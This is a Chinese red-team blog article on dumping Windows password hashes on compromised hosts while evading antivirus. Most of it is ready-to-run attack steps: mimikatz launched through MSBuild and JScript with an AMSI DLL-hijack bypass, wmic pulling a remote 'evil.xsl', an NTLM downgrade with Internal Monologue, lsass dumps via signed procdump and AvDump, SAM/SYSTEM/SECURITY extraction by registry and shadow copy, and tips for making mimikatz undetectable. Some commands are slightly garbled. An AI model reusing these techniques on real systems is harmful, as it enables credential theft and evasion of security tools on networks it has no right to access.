抓取HASH的10001种方法
这是 酒仙桥六号部队 的第 145 篇文章。
全文共计3601个字,预计阅读时长10分钟。
前言
在我们内网拿下机器时候,总会需要去抓取机器账户 HASH 值,但是往往大部分情况下机器存在杀软,有杀软的情况下服务器第一时间就干掉了最爱的 mimikatz。
我们需要更多的方法去抓取 HASH,常见的方法就不再详细举例了。
Net4.0 执行读取
下载 xml 文件
https://raw.githubusercontent.com/3gstudent/msbuild-inline-task/master/executes%20mimikatz.xml
进入 Net4.0 目录,执行即可。
cd C:\Windows\Microsoft.NET\Framework64\v4.0.30319
.\MSBuild.exe 1.xml
JS 加载
cscript mimikatz.js
它已经能被一些敏感的 AV 识别,我们可以对其进行 bypass,通过 DLL 劫持绕过。发现在 ProcessMonitor 可以看到进程调用 C:\Windows\System32\amsi.dll
我们直接对其 DLL 劫持即可。
copy c:\windows\system32\cscript amsi.dll
asmi.dll 11.js
如何生成 mimikatz 的 js 版本,可以参考看下面的介绍。
https://gist.github.com/pljoel/42dae5e56a86a43612bea6961cb59d1a
这里用 csc 生成了 base64 加密的版本,再用使用 javascript 启动内存中的 mimikatz。
wmic 调用
本地:wmic process list /FORMAT:evil.xsl
远程:
wmic os get /FORMAT:"https://example.com/evil.xsl"
Internal Monologue Attack
https://github.com/eladshamir/Internal-Monologue
介绍:通过 SSPI 调⽤ NTLM 身份验证,通过协商使⽤预定义 challenge 降级为 NetNTLMv1,获取到 NetNTLMv1 hash。⽽ NetNTLMv1 hash 可以短时间内使⽤彩虹表去破解。
这种情况可以在不接触 LSASS 的情况下检索 NTLM 哈希。可以说比运行 Mimikatz 更隐秘,因为不需要向受保护的进程注入代码或从受保护的进程中转储内存。由于 NetNTLMv1 响应是通过在本地与 NTLMSSP 进行交互而引发的,因此不会生成网络流量,并且所选择的挑战也不容易看到。没有成功的 NTLM 身份验证事件记录在日志中。
关于降级 NTLM 攻击可以看看这里
https://www.optiv.com/explore-optiv-insights/blog/post-exploitation-using-netntlm-downgrade-attacks
.\InternalMonologue.exe -Downgrade True -Restore False -Imperssonate True-Verbose True -Challenge 1122334455667788
成功出现当前的账户 HASH 值。
Bypass
部分杀软很变态能够将这些杀死,我们可以用几个方法将其绕过,转储 LASS,读取系统文件,制作新的 Bypassmimikazi 等等。
Procdump
官方介绍:ProcDump 是一个命令行实用程序,其主要目的是监视应用程序中的 CPU 尖峰并在尖峰期间生成崩溃转储,管理员或开发人员可以使用它来确定尖峰原因。ProcDump 还包括挂起的窗口监视,未处理的异常监视,并且可以基于系统性能计数器的值生成转储。它也可以用作常规流程转储实用程序。
大家都熟知的 Procdump,由于它是微软官方的签名,所以我们能通过它 bypass 某些不怎么样的杀软来 dump 出 lass 存储的密码。
执行如下命令
Procdump.exe -accepteula -ma lsass.exe lsass.dmp
在本机的上面跑 mimikazi 进行密码的成功查看
Avdump
Avdump.exe 是在 Avast HomeSecurity 产品套件一起提供的小工具。顾名思义,该实用程序将给定进程标识符的内存转储到用户指定的位置。我们可以通过它进行新的 dump 方式利用。
它自带 Avast 杀软公司白签名。
我们直接运行即可。
.\AvDump.exe --pid 696 --exception_ptr 0 --dump_level 1 --thread_id 0--min_interval 0 --dump_file e:\tmp\last.dmp
在本机的上面跑 mimikazi 进行密码的成功查看。
SAM 解密
像一些变态的 EDR,会禁用 Procdump、Minidump 等⽅式转储 lsass 进程,我们可以换一种方法。
SAM 它是安全帐户管理器。⽤于存储⽤户和 hash,可以⽤来验证本地和远程⽤户。
要解密 hash,我们需要获取到 SAM SYSTEM SECURITY 这三个⽂件。只要有这3个文件我们就能进行读取。
注册表复值
REG SAVE 将指定的子项、项和注册表值的副本保存到指定文件中,直接保存就完事了。
reg save hklm\system SYSTEM
reg save hklm\sam SAM
reg save hklm\security SECURITY
卷影复制
通过拷⻉卷影副本卷中的⽂件来读取 3 个文件
先创建 c 盘的 shadowscopy
wmic shadowcopy call create volume='c:\'
列出 shadows 的 list,从中并选择卷影副本卷,再复制我们需要的三个文件。
vssadmin list shadows
copy\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4\Windows\system32\config\sam.
copy\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4\Windows\system32\config\security.
copy\\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy4\Windows\system32\config\system.
解密恢复 HASH
通过上面几种方法拿到 3 个文件后,我们用 impacket-secretsdump 来进行解密。
impacket-secretsdump -sam SAM -security SECURITY -system SYSTEM LOCAL
用得到的 HASH 直接去解密即可。
mimikatz 免杀
除此之外我们还可以对 MIMIKAZi 进行免杀的处理。
一般的方法是删除代码层 MIMIKATZ 特征,默认资源,如 ICO 图标,替换 bin 包内容。
混淆编译完程序(加壳),克隆签名等等。
替换删除敏感词/修改图标 ico
修改 rc 特征。
利用Hex找出一些敏感 DLL,函数如 wdigest.dll,isbase64interceptinput 等等进行替换
替换敏感的 bin 文件中方法指定成系统自带的 dll 方法
netapi32
系统中 netapi32.dll 文件
创建 bin 文件并将其方法指定成系统的 function。
最后使用 themdia 加壳后再运行。
成功运行无报警。
总结
随着 AV 查杀,态势行为特征扫描的发展,利用的难度也越来越大,我们也需要不断提高自身的姿势水平,学习更好的方法来进行红蓝对抗。
参考链接:
https://www.archcloudlabs.com/projects/dumping-memory-with-av/
https://blog.xpnsec.com/exploring-mimikatz-part-2/
https://www.optiv.com/explore-optiv-insights/blog/post-exploitation-using-netntlm-downgrade-attacks
https://www.tiraniddo.dev/2018/06/disabling-amsi-in-jscript-with-one.html
https://3gstudent.github.io/3gstudent.github.io/%E5%88%A9%E7%94%A8JS%E5%8A%A0%E8%BD%BD.Net%E7%A8%8B%E5%BA%8F/
https://evi1cg.me/archives/AMSI_bypass.html
https://blog.csdn.net/wxh0000mm/article/details/105842889
https://www.secpulse.com/archives/71380.html